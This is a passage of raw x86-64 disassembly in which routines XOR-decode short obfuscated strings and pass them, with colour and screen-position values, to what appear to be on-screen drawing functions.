movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm11
movd xmm0, ecx
cvtdq2ps xmm0, xmm0
addss xmm1, xmm0
cvttss2si eax, xmm1
mov dword [0x140438270], eax
jmp 0x1400796bc
mov eax, dword [rdi + r14]
cmp dword [0x14043a24c], eax
jg 0x140079a3b
mov qword [rsp + 0x350], 0
lea rcx, [rsp + 0x350]
call fcn.140018750
xorps xmm0, xmm0
movups xmmword [rsp + 0x120], xmm0
mov dword [rsp + 0x4a0], 0x3f800000
mov dword [rsp + 0x4a4], 0x3f800000
mov dword [rsp + 0x4a8], 0x3f800000
movd xmm0, dword [0x14043a250]
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm12
movups xmm1, xmmword [rsp + 0x4a0]
shufps xmm1, xmm1, 0x93
movss xmm1, xmm0
shufps xmm1, xmm1, 0x39
movups xmmword [rsp + 0x4a0], xmm1
movups xmmword [rsp + 0x2c0], xmm1
mov dword [rsp + 0x348], 0x3f800000
mov dword [rsp + 0x34c], 0x3f800000
mov qword [rsp + 0x340], 0
mov dword [rsp + 0x338], 0x44228000
mov dword [rsp + 0x33c], 0x43200000
lea rax, [rsp + 0x120]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x2c0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x348]
lea r8, [rsp + 0x340]
lea rdx, [rsp + 0x338]
mov rcx, qword [0x140439770]
call fcn.140039f20
cmp byte [0x14043a244], 0
jne 0x140076c20
mov eax, 0xff
mov ecx, dword [0x14043a250]
sub eax, ecx
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm11
movd xmm0, ecx
cvtdq2ps xmm0, xmm0
addss xmm1, xmm0
cvttss2si eax, xmm1
mov dword [0x14043a250], eax
mov dword [rsp + 0x320], 0x41a00000
mov dword [rsp + 0x324], 0x432a0000
lea rcx, [rsp + 0x320]
call fcn.140018750
movsd xmm0, qword [str._FSYM_erXIL_]
movsd qword [rsp + 0x1e6], xmm0
mov eax, dword [0x1400f8898]
mov dword [rsp + 0x1ee], eax
cmp byte [0x1400f889b], 0
je 0x140076dd0
mov r8d, esi
cmp r15d, 2
jl 0x140076d90
movdqa xmm4, xmmword [0x1400faf80]
movd xmm6, r12d
mov eax, Ordinal_35
movd xmm5, eax
movdqa xmm2, xmmword [0x1400f5690]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400fae20]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
mov eax, dword [str.5555555555555555R]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str._FSYM_erXIL_]
xorps xmm2, xmm0
movd dword [rsp + 0x1e6], xmm2
movdqa xmm3, xmmword [0x1400fae10]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400fae20]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x1ea]
xorps xmm2, xmm1
movd dword [rsp + 0x1ea], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x1e6]
add r9, rax
nop
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140076da0
mov r8d, dword [0x14043a250]
movss xmm0, dword [0x1400fade0]
movss xmm1, dword [0x1400fadb8]
unpcklps xmm0, xmm1
movq rdx, xmm0
lea rcx, [rsp + 0x1e6]
call fcn.14006a970
movaps xmm0, xmmword [0x1400faf70]
movups xmmword [rsp + 0x120], xmm0
lea rcx, [rsp + 0x120]
call fcn.140008d20
mov ebx, eax
movaps xmm0, xmmword [0x1400faf60]
movups xmmword [rsp + 0x830], xmm0
lea rcx, [rsp + 0x830]
call fcn.140008d20
mov r10d, eax
movsd xmm0, qword [str._fsym]
movsd qword [rsp + 0x178], xmm0
mov ecx, dword [0x1400f88a8]
mov dword [rsp + 0x180], ecx
cmp byte [0x1400f88ab], 0
je 0x140076fd0
mov r8d, esi
cmp r15d, 2
jl 0x140076f86
movdqa xmm4, xmmword [0x1400faf80]
movd xmm6, r12d
mov eax, Ordinal_35
movd xmm5, eax
movdqa xmm2, xmmword [0x1400f5690]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400fae20]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
mov eax, dword [str.5555555555555555R]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str._fsym]
xorps xmm2, xmm0
movd dword [rsp + 0x178], xmm2
movdqa xmm3, xmmword [0x1400fae10]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400fae20]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x17c]
xorps xmm2, xmm1
movd dword [rsp + 0x17c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x178]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140076fa0
movaps xmm3, xmm14
mov r8d, ebx
mov edx, r10d
lea rcx, [rsp + 0x178]
call fcn.14005f6b0
movaps xmm0, xmmword [0x1400faf50]
movups xmmword [rsp + 0x120], xmm0
lea rcx, [rsp + 0x120]
call fcn.140008d20
mov ebx, eax
movaps xmm0, xmmword [0x1400f0360]
movups xmmword [rsp + 0x7e0], xmm0
lea rcx, [rsp + 0x7e0]
call fcn.140008d20
mov r10d, eax
lea rcx, [rsp + 0xeb8]
lea rax, [0x1400f88b0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movzx eax, byte [rax + 0x50]
mov byte [rcx + 0x50], al
mov r8d, esi
mov edi, Ordinal_35
cmp r15d, 2
jl 0x140077209
movdqa xmm5, xmmword [0x1400f5690]
movdqa xmm4, xmmword [0x1400faf80]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400fae20]
movd xmm8, edi
movdqa xmm0, xmmword [str.5555555555555555R]
movdqa xmmword [rsp + 0xc0], xmm0
lea rcx, [rsp + 0xebc]
mov edx, dword [rsp + 0xc0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xd0
jl 0x140077100
cmp r8d, 0xd1
jge 0x140077253
movsxd rax, r8d
lea r9, [rsp + 0xeb8]
add r9, rax
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd1
jl 0x140077220
movaps xmm3, xmm14
mov r8d, ebx
mov edx, r10d
lea rcx, [rsp + 0xeb8]
call fcn.14005f6b0
movaps xmm0, xmmword [0x1400faf70]
movups xmmword [rsp + 0x120], xmm0
lea rcx, [rsp + 0x120]
call fcn.140008d20
mov ebx, eax
movaps xmm0, xmmword [0x1400faf60]
movups xmmword [rsp + 0x800], xmm0
lea rcx, [rsp + 0x800]
call fcn.140008d20
mov r10d, eax
movups xmm0, xmmword [0x1400f8988]
movups xmmword [rsp + 0x290], xmm0
psrldq xmm0, 0xf
movd ecx, xmm0
test cl, cl
je 0x140077460
cmp r15d, 2
jl 0x14007741d
movdqa xmm5, xmmword [0x1400f5690]
mov edx, esi
movdqa xmm4, xmmword [0x1400faf80]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400fae20]
movd xmm8, edi
movdqa xmm0, xmmword [str.5555555555555555R]
movdqa xmmword [rsp + 0xc0], xmm0
lea rcx, [rsp + 0x294]
mov r8d, dword [rsp + 0xc0]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x140077320
jmp 0x140077460
lea r9, [rsp + 0x290]
mov r8d, esi
nop dword [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140077430
movaps xmm3, xmm14
mov r8d, ebx
mov edx, r10d
lea rcx, [rsp + 0x290]
call fcn.14005f6b0
movaps xmm0, xmmword [0x1400faf50]
movups xmmword [rsp + 0x120], xmm0
lea rcx, [rsp + 0x120]
call fcn.140008d20
mov ebx, eax
movaps xmm0, xmmword [0x1400f0360]
movups xmmword [rsp + 0x5c0], xmm0
lea rcx, [rsp + 0x5c0]
call fcn.140008d20
mov r10d, eax
movups xmm0, xmmword [0x1400f8998]
movups xmmword [rsp + 0x2c0], xmm0
movups xmm1, xmmword [0x1400f89a8]
movups xmmword [rsp + 0x2d0], xmm1
movsd xmm0, qword [0x1400f89b8]
movsd qword [rsp + 0x2e0], xmm0
mov ecx, dword [0x1400f89c0]
mov dword [rsp + 0x2e8], ecx
movzx ecx, word [0x1400f89c4]
mov word [rsp + 0x2ec], cx
mov r8d, esi
cmp r15d, 2
jl 0x140077653
movdqa xmm5, xmmword [0x1400f5690]
movdqa xmm4, xmmword [0x1400faf80]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400fae20]
movd xmm8, edi
movdqa xmm0, xmmword [str.5555555555555555R]
movdqa xmmword [rsp + 0xc0], xmm0
lea rcx, [rsp + 0x2c4]
mov edx, dword [rsp + 0xc0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140077550
cmp r8d, 0x2e
jge 0x1400776a0
movsxd rax, r8d
lea r9, [rsp + 0x2c0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2e
jl 0x140077670
movaps xmm3, xmm14
mov r8d, ebx
mov edx, r10d
lea rcx, [rsp + 0x2c0]
call fcn.14005f6b0
mov ecx, 3
call fcn.1400144e0
call fcn.14000aaf0
call fcn.14000a2d0
call fcn.14000a2d0
mov dword [rsp + 0x318], 0x43b80000
mov dword [rsp + 0x31c], 0x432a0000
lea rcx, [rsp + 0x318]
call fcn.140018750
movsd xmm0, qword [str.aARYR]
movsd qword [rsp + 0x200], xmm0
mov eax, dword [0x1400f89d0]
mov dword [rsp + 0x208], eax
movzx eax, word [0x1400f89d4]
mov word [rsp + 0x20c], ax
cmp byte [0x1400f89d5], 0
je 0x140077890
mov r8d, esi
cmp r15d, 2
jl 0x14007784a
movdqa xmm4, xmmword [0x1400faf80]
movd xmm6, r12d
movd xmm5, edi
movdqa xmm2, xmmword [0x1400f5690]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400fae20]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
mov eax, dword [str.5555555555555555R]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.aARYR]
xorps xmm2, xmm0
movd dword [rsp + 0x200], xmm2
movdqa xmm3, xmmword [0x1400fae10]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400fae20]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x204]
xorps xmm2, xmm1
movd dword [rsp + 0x204], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x200]
add r9, rax
nop dword [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140077860
mov r8d, dword [0x14043a250]
movss xmm0, dword [0x1400fadd0]
movss xmm1, dword [0x1400fadb0]
unpcklps xmm0, xmm1
movq rdx, xmm0
lea rcx, [rsp + 0x200]
call fcn.14006a970
movaps xmm0, xmmword [0x1400faf70]
movups xmmword [rsp + 0x120], xmm0
lea rcx, [rsp + 0x120]
call fcn.140008d20
mov ebx, eax
movaps xmm0, xmmword [0x1400faf60]
movups xmmword [rsp + 0x5e0], xmm0
lea rcx, [rsp + 0x5e0]
call fcn.140008d20
mov r10d, eax
movsd xmm0, qword [0x1400f89d8]
movsd qword [rsp + 0x1f2], xmm0
mov ecx, dword [0x1400f89e0]
mov dword [rsp + 0x1fa], ecx
movzx ecx, word [0x1400f89e4]
mov word [rsp + 0x1fe], cx
cmp byte [0x1400f89e5], 0
je 0x140077a90
mov r8d, esi
cmp r15d, 2
jl 0x140077a50
movdqa xmm4, xmmword [0x1400faf80]
movd xmm6, r12d
movd xmm5, edi
movdqa xmm2, xmmword [0x1400f5690]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400fae20]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
mov eax, dword [str.5555555555555555R]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1400f89d8]
xorps xmm2, xmm0
movd dword [rsp + 0x1f2], xmm2
movdqa xmm3, xmmword [0x1400fae10]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400fae20]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x1f6]
xorps xmm2, xmm1
movd dword [rsp + 0x1f6], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x1f2]
add r9, rax
nop
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140077a60
movaps xmm3, xmm14
mov r8d, ebx
mov edx, r10d
lea rcx, [rsp + 0x1f2]
call fcn.14005f6b0
call fcn.14003aff0
movd xmm0, dword [0x14041fa0c]
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm12
movss dword [rsp + 0x4b0], xmm0
movd xmm1, dword [0x14041fa10]
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm12
movss dword [rsp + 0x4b4], xmm1
movd xmm0, dword [0x14041fa14]
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm12
movss dword [rsp + 0x4b8], xmm0
movd xmm1, dword [reloc.WLDAP32.dll_Ordinal_60]
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm12
movss dword [rsp + 0x4bc], xmm1
lea rcx, [rsp + 0x4b0]
call fcn.140008d20
mov ebx, eax
movd xmm0, dword [str.ddd_ddd_ddd_]
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm12
movss dword [rsp + 0x4c0], xmm0
movd xmm1, dword [0x14041fa04]
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm12
movss dword [rsp + 0x4c4], xmm1
movd xmm0, dword [0x14041fa08]
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm12
movss dword [rsp + 0x4c8], xmm0
mov dword [rsp + 0x4cc], 0x3f800000
lea rcx, [rsp + 0x4c0]
call fcn.140008d20
mov r10d, eax
movups xmm0, xmmword [str.SEVXVexOWI_3b]
movups xmmword [rsp + 0x120], xmm0
mov ecx, dword [0x1400f89f8]
mov dword [rsp + 0x130], ecx
movzx ecx, byte [0x1400f89fc]
mov byte [rsp + 0x134], cl
mov r8d, esi
cmp r15d, 2
jl 0x140077d03
movdqa xmm5, xmmword [0x1400f5690]
movdqa xmm4, xmmword [0x1400faf80]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400fae20]
movd xmm8, edi
movdqa xmm0, xmmword [str.5555555555555555R]
movdqa xmmword [rsp + 0xc0], xmm0
lea rcx, [rsp + 0x124]
mov edx, dword [rsp + 0xc0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140077c00
cmp r8d, 0x15
jge 0x140077d50
movsxd rax, r8d
lea r9, [rsp + 0x120]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140077d20
movaps xmm3, xmm14
mov r8d, ebx
mov edx, r10d
lea rcx, [rsp + 0x120]
call fcn.14005f6b0
movss xmm9, dword [0x1400f0304]
movaps xmm1, xmm9
movaps xmm0, xmm13
call fcn.140017c20
movaps xmm0, xmmword [0x1400faf70]
movups xmmword [rsp + 0x120], xmm0
lea rcx, [rsp + 0x120]
call fcn.140008d20
mov ebx, eax
movaps xmm0, xmmword [0x1400faf60]
movups xmmword [rsp + 0x470], xmm0
lea rcx, [rsp + 0x470]
call fcn.140008d20
movsd xmm0, qword [str.___103_r]
movsd qword [rsp + 0xe8], xmm0
movzx ecx, byte [0x1400f8a08]
mov byte [rsp + 0xe8], 9
xor byte [rsp + 0xe9], 0x36
xor byte [rsp + 0xea], 0x37
xor byte [rsp + 0xeb], 0x38
xor byte [rsp + 0xec], 0x39
xor byte [rsp + 0xed], 0x3a
xor byte [rsp + 0xee], 0x3b
xor byte [rsp + 0xef], 0x3c
xor cl, 0x3d
mov byte [rsp + 0xf0], cl
movaps xmm3, xmm14
mov r8d, ebx
mov edx, eax
lea rcx, [rsp + 0xe8]
call fcn.14005f6b0
movd xmm0, dword [0x14041fa28]
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm12
movss dword [rsp + 0x4d0], xmm0
movd xmm1, dword [0x14041fa2c]
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm12
movss dword [rsp + 0x4d4], xmm1
movd xmm0, dword [0x14041fa30]
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm12
movss dword [rsp + 0x4d8], xmm0
movd xmm1, dword [reloc.WLDAP32.dll_Ordinal_60]
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm12
movss dword [rsp + 0x4dc], xmm1
lea rcx, [rsp + 0x4d0]
call fcn.140008d20
mov ebx, eax
